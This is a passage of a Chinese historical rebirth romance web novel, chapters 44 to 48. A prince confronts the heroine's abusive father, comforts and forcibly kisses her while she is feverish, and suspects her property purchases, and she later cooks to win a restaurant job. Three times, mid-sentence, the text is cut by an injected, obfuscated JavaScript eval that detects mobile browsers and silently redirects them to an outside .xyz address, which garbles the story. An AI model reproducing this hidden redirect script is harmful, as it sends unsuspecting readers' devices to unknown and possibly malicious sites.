他不敢迎接穆衾寒的注视，只好仓惶地低下了头，颇为心虚地盯着自己眼前的地砖，一时间连大气都不敢出。 跟在沐玉罡身后的沐府众人同样屏息凝神不敢出声，生怕发出一点声音成为穆衾寒的活靶子。 令人窒息的死寂在室内蔓延，不知道过了多久，穆衾寒终于动了。 他并未立刻走向沐玉罡，而是踱步行至桌边，伸出骨节分明的手指，随意地拈起桌上的茶盏。 然后他轻飘飘地问了一句：“谁干的？” 沐玉罡紧张地咽了口唾沫：“是草民教女无方，导致这丫头在外面鬼混惯了，所以我才教训了她一下。” 话是这么说，他的心里其实很不服气。 他作为老子教训女儿，哪里还用得着外人来过问。 但谁让这个外人是穆衾寒呢？他不得不认这个栽。 穆衾寒点了点头。 他旋转着手中的杯盏，然后问道：“她额上的伤口就是被这样的杯子砸出来的？” 沐玉罡鼓起勇气抬起头，瞥了一眼穆衾寒的动作，声音又哆嗦起来：“这个……是失手砸的，失手砸的……” 穆衾寒似乎是笑了一下，然而这一声笑比他的目光还要冰冷：“失手？” “我还听说沐老爷雷霆之怒下打伤了一个婢女，那婢女受了重伤，至今昏迷不醒？” 沐玉罡赔笑道：“我也只是简单教训她一下而已，算不得什么大事。” 穆衾寒又是一声冷笑：“我竟是不知，什么时候滥用私刑也变成一桩小事了？” “什么？”沐玉罡瞪大了眼：“滥用私刑？” 他重复了一遍穆衾寒的话，然后才小心翼翼地再次赔着笑说道：“只不过是管教奴才，怎么能算是滥用私刑呢……” 穆衾寒不说话了，倒是他的随从开口打断了沐玉罡：“你还没有明白王爷的意思么？到底是管教奴才还是滥用私刑，只在王爷的一念之间而已。” 沐玉罡愣了一下，闭上嘴巴，擦了擦额上的冷汗。 “沐老爷。”穆衾寒的声音低沉平稳，听不出来半分波澜，却像一双无形的手扼住了沐玉罡的咽喉：“本王一向对您礼敬有加。” 他垂眸看着手中的杯盏，语气称得上温和，听来却令人心底发寒：“您知道是为什么。” 话音落地的同时，他手中的那个杯子也落了地，发出一声清脆的碎裂声。 锋利的瓷片四溅开来，有几片溅落在沐玉罡的跟前，吓得他一个趔趄跪倒在地。 45. 第45章 沐玉罡跪得很利落。 见他跪得这么干脆，他身后的沐府众人也连忙跟着跪倒一片。 穆衾寒走到沐玉罡跟前，微微俯身，然后抬手伸向沐玉罡的肩头。 沐玉罡被他这个动作吓得魂飞魄散，颤抖着眯起了眼睛，身子缩成一团。 却没想到穆衾寒只是极其缓慢极其轻柔地拂了拂沐玉罡肩头衣袍上沾染的一点灰尘。 他继续往下俯了俯身子，在沐玉罡的耳边压低了声音问：“您到底知不知道是为什么？” 沐玉罡点头如捣蒜，他心想说他知道了她知道了，但此刻他早已被吓得魂飞天外，哪里还能说得出话来。 穆衾寒似乎很满意他的反应，他接过随从递来的帕子擦了擦手，直起身子一字一句地说道：“她没事也就罢了，倘若有个三长两短……” 便在这时，床上的沐毓露突然叫了一声穆衾寒的名字。 沐玉罡又颤抖了一下。 跪在沐玉罡身后的沐府众人将头垂得更低了，完全不敢去看发生了什么。 眼前的这一切都实在是太惊悚了。 沐毓露居然敢直呼穆衾寒的名字，而穆衾寒不仅毫无责怪之意，反而颇为欣喜地奔至床前查看沐毓露的情况。 然而床上的人仍然深陷高热梦魇之中，并没有醒来。她的双颊烧得通红，额角还沁着细密的冷汗，就这样痛苦地说着梦话：“不……别过来……你走开……” 穆衾寒抬手轻轻抚上她的额头，刚欲俯身探她的额温，便见她惊恐地睁开了眼睛。 在看到穆衾寒的一瞬间，她猛地从床上坐了起来，动作太急太快，还一不小心磕到了自己的后脑勺。 穆衾寒生怕吓着她，声音轻柔得仿佛能滴出水来：“你醒了？现在感觉如何？” 一边说着，他一边伸手想要搀扶沐毓露。 却没想到冷不防一个枕头砸过来，结结实实地砸在他的胸口。 “你走开！我再也不想见到你，我们现在就和离！”沐毓露声嘶力竭地尖叫着，砸了一个枕头还不够，又拿起床上的第二个软枕，狠狠地朝穆衾寒掷去。 一个接一个的软枕撞在他的胸膛，又无力地滑落在地。沐毓露犹不解恨，在床上继续翻找着可以砸人的物件。 沐府众人想死的心都有了。 沐毓露这是想拖着全家一起死的节奏啊。 却没想到穆衾寒对她出奇的耐心，不仅没有因为她的冒犯而动怒，反而动作极轻地在床边坐下。 他轻声安抚着她：“是我，别怕，没有人再敢伤害你了，我在这里陪着你好不好？” 沐毓露却依旧挥舞着手臂，无比抗拒穆衾寒的接近：“你给我走开！你就是个骗子！我不许你碰我……” 泪水混着汗水一起从她脸上滑落：“我都跟你说了我不是故意的，我虽然不算个好人，但我真的没有想要害她，她怀的是你的孩子，我那么爱你，怎么可能害她？你为什么就是不肯相信我？” 穆衾寒眼神一暗。 他知道沐毓露又像上次那般病得人事不省开始说胡话了。 现在的他已经比上次有经验，知道这种情况下的沐毓露犟得像头牛，沉浸在自己的世界里，是听不进去什么道理的，于是他干脆顺着沐毓露的话继续往下说：“我自然信你，不管你说什么我都相信。” 沐毓露偏着脑袋认真地打量他，然后趴到床沿捡起地上的枕头，啪的一声又砸在穆衾寒的胸膛上：“你骗人，你要是相信我，为什么还要用杯子砸我？” 穆衾寒愣了一下，“你说谁用杯子砸你？” 沐毓露哭得上气不接下气，“你看看我头上的疤，不就是你用杯子砸的？” 穆衾寒沉默了。 沐玉罡深深地把头垂下，额头都快贴到地上去了，这一瞬间他连自己怎么死比较痛快都想好了。 没想到面对沐毓露的胡搅蛮缠，穆衾寒依然忍了下去，他耐心地对沐毓露道：“我怎么可能对你动手？怎么可能用杯子砸你？” 沐毓露气得声音都劈叉了：“你根本就不是个男人！你敢做不敢当！” 紧接着她抿了抿唇，目光中流露出视死如归之意，张开嘴一口咬在了穆衾寒的肩膀上。 “我都快疼死了，你还不肯承认，与其让我在这里受尽折磨，你还不如直接杀了我！” 穆衾寒的随从一个箭步冲上前来，伸手想要拉开沐毓露，却被穆衾寒用眼神制止了。 沐毓露咬住他的肩膀不肯松口，他便干脆伸出手臂，用一种极为温柔却又不容抗拒的力道将沐毓露小心翼翼地拢入怀中。 沐毓露当然是要挣扎的，然而她的挣扎在他稳固的臂弯里显得脆弱又徒劳。 “好了，好了……没事了，是我不对，我给你道歉。”穆衾寒的下颌轻轻抵着沐毓露的发顶，他一遍又一遍地重复着安抚的话语：“别哭了，我在这里，没人能伤你。” 屋子里的所有人都石化在了原地，这还是他们熟悉的冰山王爷穆衾寒么？ 这怕不是个假的穆衾寒吧？ 穆衾寒的随从极有眼力见，在穆衾寒将沐毓露拥入怀里的时候他便果断转过身，对沐府众人道：“赶紧出去，还愣在这里做什么？” 这个吩咐倒是正中沐玉罡的下怀，他早就不想在这里待着了，于是第一个转过身，连滚带爬地离开了房间。 剩下的人紧随其后走了出去，穆衾寒的随从最后一个走出房间，还贴心地关上了房门。 屋里瞬间只剩下了穆衾寒与沐毓露两人。 穆衾寒牢牢地将沐毓露拥在怀里，仍在轻声细语地安抚着她。 怀里的人起初仍然紧绷着身子，呜咽着抗拒，但是在穆衾寒耐心的安抚之下，她慢慢平静下来，挣扎的力道变小了，急促的呼吸也逐渐平复，只剩下断断续续的抽噎。 穆衾寒感觉到沐毓露身体的变化，这才稍稍松开些禁锢。 他垂首注视着怀里的人，伸手轻轻抚摸着她干裂的嘴唇：“渴不渴？喝点水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370349|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不好？” 沐毓露舔舔嘴唇，点了点头。 好在房间里还有温水，穆衾寒执起水壶倒了一杯，一手虚虚地环着沐毓露，另一只手稳稳地将杯盏递到她的唇边。 沐毓露的意识仍旧有些模糊，她本能地低头饮水，就这么小口啜饮着，像一只终于寻到了庇护的小兽。 喝饱了水，紧绷的身体彻底放松下来，沐毓露软软地靠在穆衾寒坚实的胸膛上，沉重的疲惫感在此刻席卷而来。 她很想睡觉，却又觉得此时还不能睡，她必须要把所有的话说清楚了才能休息。 抬手攥住穆衾寒的衣襟，她费力地仰起头来注视着他，“穆衾寒，我们和离吧。” 见穆衾寒脸上露出异样的神情，她连忙妥协道：“不然你休了我，我们不和离，你休了我也成。” 她咽了口唾沫，声音细若蚊蝇，却带着一种心灰意冷的决绝。 “我真的不想再过这样的日子了，我不想再喜欢你了，你不是也很讨厌我么？那就放我出府，我们一别两宽，以后永不相见……唔……” 她的话还没有说完，穆衾寒便猛地俯下身子，一手牢牢扣住她的后颈，另一只手稳稳托住她的腰背，然后狠狠地吻了下去，将她未说完的话都堵在了唇齿之间。 沐毓露想躲，却是避无可避。 这个吻毫无温柔可言，更像是一种惩罚。 惩罚她将和离二字说出口，惩罚她对他的心灰意冷。 穆衾寒冰凉的唇瓣强势地碾压下来，粗暴地堵住了她所有未尽的言语，他吮吸着她的气息，辗转厮磨，仿佛要将她的退缩与自弃，将她所有该死的念头都统统碾碎。 沐毓露被这突如其来的袭击给震懵了。 本就虚弱的身体根本无力抵抗，只能被动地承受着这狂风暴雨般的掠夺。缺氧和本就昏沉的意识让她眼前阵阵发黑，只能发出破碎的呜咽，但是就连这细微的呜咽声都被他尽数吞没。 不知道过了多久，也许是几息，也许更漫长，直到感觉到怀里的人彻底软倒，呼吸急促得快要窒息，穆衾寒才猛然从愤怒中惊醒，骤然抽身撤离。 他抬起头，胸膛剧烈起伏，眼底的愤怒虽然尚未完全平息，但也掺杂了一些对自己失控的懊悔。 沐毓露一副惊魂未定的模样，她眼中的情绪比穆衾寒还要复杂，无措茫然之余还有一丝讶然欣喜，各种各样的情绪突然铺天盖地席卷而来，简直快要将她淹没。 她虚弱地张了张嘴：“你、你干什么？” 穆衾寒再次将她拥进怀里，“我会八抬大轿将你迎进王府，你想要的一切我都可以给你。” “不许再说刚才那些话了，也不许再将我推开。我知道你喜欢我，我……” 说出这番肉麻的话对于穆衾寒而言似乎有些艰难，但他还是一字一句地将所有的想法都亲口告诉她：“不管以前有什么误会，以后的日子里我们都可以慢慢解开，我们还有很长的时间可以在一起，我不会松手，不会放你走。” 46. 第46章 此刻沐毓露的脑子里一片混沌。 她有些反应不过来穆衾寒说了什么，不过他说他们还有很长的时间可以在一起，这一句她倒是听清楚了的。 听到他这样说，她觉得理论上她应当万分欣喜才是，可是不知道为什么，她居然并没有因此感到高兴，反而有一股难以言喻的酸涩涌上了心头。 就好像她为了等到他这一句话，已经等了整整一辈子，只不过她的一辈子太短，结束得太仓促，她似乎并没有机会好好体会被人爱着到底是什么样的感觉。 脑子里胡乱地思索着，沐毓露的意识逐渐变得昏沉，紧攥着他衣襟的手指不知何时松了力道，软软地垂落下去。 在彻底昏睡过去之前，她伏在穆衾寒的怀里，小声地呢喃了一句：“你都不知道我有多喜欢你，见到你的第一眼我就爱上你了，那时候我就发誓，我一定要嫁给你。” “我们不和离了，我们好好地在一起，好不好？你不要再欺负我了，你对我好一点……” 沐毓露的声音渐渐低了下去，呼吸变得绵长均匀，整个人蜷缩在了穆衾寒的怀里，再次昏睡了过去。 穆衾寒并未立刻松开她，他保持着拥抱的姿势，直到确认沐毓露真的陷入沉睡，这才调整姿势，动作轻缓地将她放回枕上，仔细掖好每一处被角。 他安静地坐在床沿，高大的身影在床畔的烛光下拉得更长，笼罩着沉睡的她。 过了许久，他鬼使神差地伸出手，指尖拂过她微肿的唇瓣，微微一颤，又迅速收回。 方才她说她喜欢他，在见到他的第一眼时就发誓要嫁给他，说这番话时她的声音虽然很轻，语气却很坚决。 就同她说要跟他和离时的语气一样坚决。 面对眼前这个阴晴不定的女子，他突然生出一种深深的无力感。 他知道，等到她从昏睡中苏醒，清醒过来之后，方才说的那些话便都不作数了。 她对他所有的情意都将不复存在，转而变为莫名的憎恨与厌恶。 如果说刚开始他只是对她的这种转变感到好奇，那么现在，他觉得自己好像已经有些承受不起这样的落差。 最后深深地凝望了沐毓露一眼，他终于起身离开房间。 在他推门而出时，等在门外的众人纷纷背过身别过头，表示自己什么也没看到什么也没听见。 穆衾寒望了沐玉罡一眼，示意他过来。 沐玉罡忙不迭凑了过去。 穆衾寒站在原地，目光沉静地落在沐玉罡的脸上，那眼神带着上位者天然的威压，让沐玉罡心头一凛，下意识垂首躬身：“王爷有什么吩咐，您、您尽管说。” 穆衾寒倒没有多说什么，只是嘱咐道：“晚一点我会命宫中的太医来沐府为她诊治，接下来一个月王府会每日送来补品，你们需要谨遵太医的叮嘱，方子要按时煎服，参汤温补也不可断，夜间需有人寸步不离地守着，以防她高热反复。” 这还是沐玉罡第一次听见穆衾寒一口气说这么多话，对方每说一句他就十分殷勤地应一声好。 反正太医不是他请，补品也不是他买，只要穆王爷不治他的罪，他就算把沐毓露当亲爹一样伺候都可以。 穆衾寒嘱咐完这些话之后，将目光从沐玉罡身上移开，越过他投向站在台阶下的沐府众人。 所有人都瑟缩着把脑袋垂了下去，尤其是沐晚意，瑟瑟发抖地躲在沐昭氏怀里，简直快要哭出声来。 “沐老爷，”扫视了底下的人一圈，他才再次开口，声音不高，却是字字清晰，敲打在沐玉罡的心上：“她伤势未愈，心神受创，这段时间本王要你亲自照顾，确保她安然无恙。” 沐玉罡连连点头：“王爷放心，她喝的药我亲自看着人给她煎，她要用的补品我亲自盯着人给她熬，这院子里会多添一些丫鬟小厮，我也亲自去挑。” 嘱咐完这些，穆衾寒眸中的阴郁才消散了些许，他抬手轻按自己的眉心，突然问道：“沐府今天闹这一场究竟是因为什么？” 他的声音从始至终都很轻，像是怕惊扰到正在屋里休息的沐毓露，但就是这样轻的声音里蕴含着天然的威压，且他此时的语气里还微微带着怒意，这样状似漫不经心的一问，足以吓破旁人的胆。 沐晚意终于忍不住哭了出来。 穆衾寒循声望去，似乎觉得有点好笑，又似乎是有一些恼怒。 他深深地注视了沐晚意一会儿，转而问沐玉罡：“她哭什么？这件事跟她也有关系？” 沐玉罡不敢欺瞒，把今日发生的事情和盘托出，一切都交代完之后他咬了咬牙，命人速速将他没收的那些屋契全部取来。 穆衾寒在听到沐毓露前些时间莫名其妙购入一大批屋契的时候就变了脸色，在亲眼看见那些屋契之后，他的脸色更是阴沉得可怕。 沐玉罡吓得双腿都在打哆嗦：“王爷，屋契都在这里了，可是有什么不妥？” 穆衾寒不说话，只是皱眉凝视着手中的那一叠屋契。 沐毓露购入的这些铺子无一例外都又老又破，无论是想要自住还是用此经商，都毫无用处。 但它们有一个共同的特点，那就是都位于即将被朝廷收回重建的位置。 过不了多久就是三皇子的生辰，他是病重的皇帝唯一一个已经成年的皇子，在朱雀国中自然是地位显赫，在他生辰那日将会有万国来贺，而这些破旧的屋子在那日到来之前都会被尽数拆掉。 沐毓露有这么多的屋契，到时候光是出手这些屋子的费用恐怕都够她此生无忧了。 她为什么要在如此偏僻的地方购入这么多老旧的房屋？难道当真如他猜测那般，她是想从朝廷那里捞一笔钱？ 穆衾寒思来想去，觉得只有这一种可能。 但三皇子想要把京城中所有老旧房屋全都拆了重建的事情，就连他都是前几日才知道。 沐毓露又是如何提前得知？ 注视着那些屋契，他的目光变得阴沉。 难道沐毓露发烧时所说的那些话，其实都不是胡话？ 他感觉自己触碰到了一个令人难以置信的真相边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374989|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 难道这世上当真有转世或者重生一说，沐毓露带着上一世的经验活到现在，所以能够未卜先知？ 这个想法一旦出现，便再难赶出脑海，一时之间沐毓露所有矛盾的说法和行为都变得合理起来。 屋檐外的雨已经停了，阳光冲破云层，令他感到有些眩晕。 是想要攒钱离开京城么？他在心里想，她还是歇了这个心思吧，有他在，她哪里也别想去。 将手中的屋契全都收进袖中，他一言不发迈步离开。 沐玉罡赶紧携沐府众人跪送，直到穆衾寒的马车消失在长街尽头，他才在丫鬟的搀扶下颤颤巍巍地站了起来。 终于送走了这尊大佛，沐府上下都松了一口气。 沐玉罡这会儿倒是又有精神了，他过转身背着手吩咐王姨娘：“还愣着干什么？赶紧给那祖宗多挑一些下人伺候，让他们仔仔细细守在院子里，白天黑夜地守着，那丫头若是有什么不妥就赶紧命人禀报，不能拖！” 王姨娘连忙应了一声。 沐玉罡想了想，又道：“再请个大夫，给那两个丫头也看一下，尤其是心云，看看她的腿还能不能好。” 吩咐完这些，他又颇为恼怒地转身瞪着沐晚意：“你看看你干的好事儿！招来这么一个活阎王，现在你开心了？” 沐晚意脸上还挂着泪痕，听见沐玉罡这么说，她不由愣了一下，然后又哭出声来：“关我什么事呀？人又不是我打的……” 沐玉罡一巴掌扇在她的脸上：“你还哭，哭哭哭，家里的福气都被你给哭没了！” 沐昭氏上前护住沐晚意，“这件事情明明就是小露的不对，责备晚意有什么用？穆王爷会亲自过来，那是谁也想不到的事情，这怎么也能怪晚意呢？” 沐昭氏不说这番话还好，一听到这话沐玉罡更是心头火起：“我动手的时候你怎么不提醒我？你怎么不等我死了再说？你现在还敢把事情怪到小露头上？我告诉你，她现在就是我祖宗！别说是你了，现在连我也不能说她半个字。” 他气得直嚷嚷：“你最好祈祷她没事，快点醒过来，不然后面还有我们好受的。” 说着他又扫了沐晚意一眼：“这丫头也是越大越不像话，这样子还怎么能嫁一个好人家？” 他对沐昭氏吩咐道：“你这段时间把她看紧点，让她也不许乱跑了，就留在府里好好学学规矩，成天疯跑成什么样子？对了，至于她的婚事你也不用操心了，这丫头的年纪也渐渐大了，我自有安排。” 不待沐昭氏回话，沐晚意便十分着急地开口问道：“你有什么安排？你想把我嫁给谁？” 沐玉罡抬起手在空中指了指她，一副恨铁不成钢的样子，“我说什么来着，我说这丫头不守规矩，你还偏要护着。” 他对着沐晚意吹胡子瞪眼：“我有什么安排还需要提前跟你商量吗？我是你爹，你的婚事自然由我做主，我和你娘自会商议，有你什么事儿？” 沐晚意看一眼沐玉罡，又转头看一眼沐昭氏，气得眼眶一红，转身就跑。 47. 第47章 沐府的这一场风波就这样落下帷幕。 心云自己也没有想到，沐毓露的心结还真被她给猜中了。 自从穆衾寒来安抚过她之后，沐毓露的病立马就好了大半，再加上宫里的太医给她开了药方，王府每日都派人送新鲜补品过来，沐毓露的身子好得比心云和默合还要快。 病愈之后她便忙着给默合做药膳，给心云炖骨头汤喝。 心云被穆王府的守卫们打伤了腿，没有十天半个月是下不了床的，即便能下床了，也要拄好几个月的拐杖。 每次心云换药时大夫的眉毛胡子都会皱成一团：“你看这个皮肉，烂成这个样子，再看这个骨头。” “也就是她年纪轻，能挺得过来，恢复得还比较快，这要是年纪再大一点，恐怕就要变成个残疾了。” “唉，伤成这个样子，以后就算不残，走路也是免不了有点跛的。” 每每想起大夫的这番话，沐毓露就无比愧疚。 心云是为了她才去王府寻穆衾寒，若是她不在病中呼喊穆衾寒的名字，也许心云就不会有这一劫。 想到这里她又不免懊恼，她怎么就管不住自己的这张嘴，每次生点病都要喊穆衾寒的名字呢？ 然后她就忍不住将怒火都转移到穆衾寒的身上去，尤其是在得知被沐玉罡没收了的屋契都落到了穆衾寒的手里去的时候，她更是怒火中烧。 当然除了愤怒之外，她还有一点担心，这些屋契上都有具体的位置信息，以穆衾寒多疑的性子，他会不会看出什么端倪来？ 除此之外还有一个现实的问题摆在她的眼前，原本她想趁着被送去京郊庄子的机会，摆脱府里人的监视，再找机会离开这里，但是穆衾寒到府里来这么一闹，沐玉罡是说什么也不可能把她送到庄子去了。 她只能继续待在人多眼杂的沐府。 如今她手上没有了屋契，只有一点之前给人算命攒下的银两，这些银钱是不足以支撑她离开京城之后的生活的。 越想她越觉得头疼，感觉好像有一张细密的无形的网，将她牢牢地束缚在了京城。 她之前做出的所有努力，都不过是在这网中无力地扇动翅膀，其实她根本就没有摆脱那张网的禁锢。 揽镜自照时，额上那一道浅浅的疤痕依然会令她感到心惊，提醒着她命运不可违抗。 这疤痕的位置和深浅与前世一模一样，只不过给她留下这道疤的始作俑者从穆衾寒变成了她爹沐玉罡。 这种诡异的巧合令她感到十分不安，前世的伤痕换了一种方式来到了她的身上，难道是在暗示她，即便她有机会重活一次，却还是避免不了命运的悲剧？ 人难道真的没有办法与命运相抗衡么？ 惶惑不安之际，她忽然想到梦中那个唤作照川弥的女子，想起那遮天蔽日的凤凰羽翼挥舞出的仿佛能焚尽世间所有黑暗的火焰。 然后她便能镇静下来，重新从心底生出一些勇气。 虽然那只是一个梦，并且此后她再也没有在梦中见到过那个女子，但她的确给她带来了一些难以言喻的力量，仿佛那火海不仅托举着照川弥死而复生，也驱散了沐毓露心中阴霾。 几日后，沐毓露的小院迎来了一个她意想不到的客人，而这个人的出现，为她解决眼前的困境带来了实质性的希望。 此人就是前段时间算命时惹得她颇为恼怒的齐知止。 关于他专程来探望她这件事，不仅她自己没有料到，她爹也没有想到。 刚开始沐玉罡还以为他是来找自己谈生意的，却没想到人家关心的是沐毓露的近况：“小妹与沐府大小姐交情颇深，听说沐大小姐病了好长一段时日，非缠着我带她上门探望，搅扰沐老爷了。” 沐玉罡尴尬地摆手，唤来小厮带他们去沐毓露的院子。 他收到齐知止的拜帖时，还以为对方一定是来跟自己谈生意场上的事情，这才来亲自见他，没想到是他自作多情，人家只是带着妹妹来探望沐毓露的。 不过话说回来，齐知止的妹妹什么时候跟沐毓露交情颇深了？ 这厢沐玉罡还在疑惑，另一厢沐毓露看见齐知止时也是满头的问号。 在见到齐知止的妹妹齐知秋从他身后蹦出来时，她脸上的疑惑更甚。 齐知秋一边歪着脑袋打量沐毓露，一边脆声道：“原来这就是哥哥不惜拿我当挡箭牌也要来看望的沐府大小姐呀？” 沐毓露望一眼她，又望一眼齐知止：“这是什么意思？” 齐知秋很自来熟地跑过来挽住沐毓露的胳膊：“意思就是我哥他为了能名正言顺地上门看望你，花了很多的银两贿赂我，这才能打着我的名号来见你呀。” “你不知道，我可是很难贿赂的，他这次可肉痛了。”齐知秋的话不是一般的多，她在沐毓露耳边叽叽喳喳地讲着：“这段时间他又是给我添新衣又是给我买首饰，我这才勉强答应的。” 说着说着她忽然凑过来，抬起手一把捏住沐毓露的脸：“你皮肤可真好啊，你长得这么好看，给我当嫂子我很有压力的。” 沐毓露彻底绷不住了，她正要开口，便听见齐知止抢先道：“越发没规矩了，这种话也是能随便说的么？” 齐知秋撅了撅嘴：“你都拿我当幌子专程来看望人家了，这里又没有别的人，还不许我说实话么？” 沐毓露甚至还没有缓过神来，齐知止也没来得及张口，齐知秋的注意力就已经转移到了别的地方去。 她跑到院子里搭建的那个小灶台前，好奇地左看右看：“这住人的院子里怎么还有个灶台呀？” 实在太好奇了，她忍不住上手摸了摸，“工具这么丰富，还真是麻雀虽小五脏俱全。” 说着她转头冲沐毓露喊道：“嫂子你是不是做得一手好菜呀？正好我们家是开酒楼的，有机会我可以尝尝你的手艺吗？” 沐毓露抽了抽嘴角，转头看到齐知秋一副天真无邪的模样，又实在不好说些什么，于是转头对齐知止呵呵笑道：“你妹妹可真活泼。” 齐知止却是沉着脸走到齐知秋身后，拎着她的衣领把她拽了过来：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381305|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后警告你一次，不许再胡说。” 他严肃地道：“你也是个女儿家，知道对女子来说清誉有多重要，不许再把这种话挂在嘴边。” 齐知秋捂住嘴巴，蔫蔫地点了点头。 沐毓露连忙上前打圆场：“这里的确没有旁人，她只是在我们俩面前说了两句，不碍事。” 说完她又问齐知秋：“你若是想尝尝我的手艺，今晚就可以，就是不知道你有没有用过晚饭，还能不能吃得下？” 齐知秋跳起来拍手：“吃得下吃得下，我吃得下的！” 听见齐知止咳了两声后，她又有些讪讪地道：“我们是听说你生病了来看望你的，怎么好意思麻烦你给我们做饭呢。” 齐知秋的模样本就生得好看，此刻委屈巴巴地嘟着嘴说着违心的话，看起来更是可爱。 沐毓露看着她抿着嘴笑，笑得眼睛都快眯起来了：“不麻烦，我做菜很快的，耽误不了多长时间。况且这段时间病着，几乎每日都在吃药膳，我也有些馋了，你们就当是陪我一起吃吧，好不好？” 说着她指了指院子里的那张石桌，“不过等下我们只能在那张桌子上吃，你们不嫌弃吧？” 齐知秋连连摆手，“不嫌弃不嫌弃。” 她又凑过来挽住了沐毓露的胳膊，“嫂……姐姐给我做饭吃，我怎么可能嫌弃？” 齐知止见她们二人这么快就达成共识，便也不再多说什么，坐在灶台前准备生火，同时吩咐齐知秋给沐毓露打下手。 平时心云默合干的活儿倒是被他们兄妹二人包圆了。 齐知秋殷勤地靠在沐毓露的肩膀上，“沐姐姐要给我们做什么好吃的呀？我从小就给我爹爹打下手，我可会切菜了。” 沐毓露思索了一下现在立刻就用得上的食材，很快就想出了一份菜单来：“我们今天吃羊羹，还有猪爪猪筋，最后再给你们做一道素菜。” 齐知秋长长地嗯了一声：“听起来都是很普通的菜式嘛……” 沐毓露笑了笑，“但是这些寻常的菜式从我手中做出来，味道可就不寻常了。” 在一旁生火的齐知止也笑了笑，“沐小姐对自己的手艺如此自信？” 当然自信了，要是对自己的手艺不自信，又如何能够吸引到你这位天下第一楼的少东家，沐毓露在心里如是想。 她今天留齐家兄妹在这里吃饭，为的就是在齐知止面前露一手。 只要齐知止认可了她的厨艺，那她就有机会进入天下第一楼当厨子。 是的，在天下第一楼当厨子攒一些工钱和经验，便是沐毓露刚重生那一日就想到的备选方案。 上一世她在那位名厨手下做帮工的时候就知道了，天下第一楼可不是一般的阔绰，给底下人的工钱可不是一般的多。 只要她能够在天下第一楼干满一年，绝对能攒够离开京城的钱。 默默地在心里叹了口气，她认命地想，原本想利用信息差买卖屋契走捷径，现在看来这条路是行不通了，买卖不了屋契，她只好出卖自己的苦力了。 48. 第48章 沐毓露做菜的速度的确很快，虽然齐知秋一直在帮着她备菜，可是她都没有反应过来自己具体准备了些什么食材，一大桌子菜就已经做好了。 齐知秋忍不住感叹：“沐小姐，你这出菜的速度都快赶上我们天下第一楼的杨大厨了，也太厉害了吧！” 齐知止也有些好奇：“杨大厨每日要在酒楼做许多的菜，这才练出了出菜的速度，真没想到沐小姐的手艺竟也如此娴熟。” 沐毓露连忙解释道：“因为我对吃的要求比较高，我们家的厨子做菜总不合我的胃口，所以每顿饭我都是自己给自己做，做得多了也就熟练了。” 齐知止兄妹若有所思地点头。 沐毓露悄悄地松了一口气，她要是不这么解释，只怕齐知止要误以为沐府上下都在虐待她，逼着她给全家做饭吃。 她拉起齐知秋的手，带着她往桌子跟前走，“你不是想尝尝我的手艺吗？再耽搁菜就凉了，可就失了风味了。” 三个人一起在桌前落座，沐毓露和齐知止还没有动筷，齐知秋就率先夹起了一块羊羹。 吃了一口后，她火速夹起好几块肉扔进齐知止的碗里，“哥你快点尝尝，这羊羹太好吃了，味道又鲜又浓郁，还没有膻味儿！” 齐知止尝了一口，细细品了一下，然后默默地把碗里的几块肉一口气都吃完了。 他问沐毓露：“这羊肉怎么这么鲜？你是怎么做的？” 沐毓露十分认真地介绍起来：“这羊肉倒是没有什么特别之处，只不过今晨我正好炖了一锅鸡汤，便用这些鸡汤煨了羊肉。” “刚好明天我打算煮菌子汤，所以提前准备了笋丁、香蕈丁和山药丁，刚才干脆把它们和羊肉放在一起同煨了。” “说起来这些都是现成的食材，放在一起却是烹饪羊羹的绝佳配料，若是没有鸡汤和这些香蕈丁，这羊肉的味道是不会如此鲜美的” 趁她介绍的功夫，齐知秋已经解决掉一大碗羊羹了：“沐姐姐，你也太厉害了。” 她打着嗝对齐知止道：“要我说沐姐姐的手艺已经赶得上楼里的杨大厨了，而且我总觉得她做的菜里还有一股杨大厨做不出的味道。” 齐知止用扇柄轻轻敲了一下她的脑袋，“这一碗羊羹已经快把你喂饱了，不留点肚子尝尝别的菜么？” 沐毓露夹起一块猪爪放进齐知秋碗里，“是呀是呀，你尝尝这个猪爪，是我剔了大骨也用鸡汤煨成的。” 齐知秋吃得兴起，顾不得什么形象，张大嘴咬了一口，然后夸张地哇了一声，把沐毓露夸出了花儿来：“原来不加那些乱七八糟的佐料，猪肉也可以这么好吃。” 她陶醉地对齐知止道：“哥，这一口猪爪让我感受到了一头猪的纯粹。” 沐毓露笑得前仰后合。 前后两辈子加起来她也没有听到过有人如此称赞她的手艺，今晚算是被齐知秋夸到天上去了，她高兴得简直快要合不拢嘴。 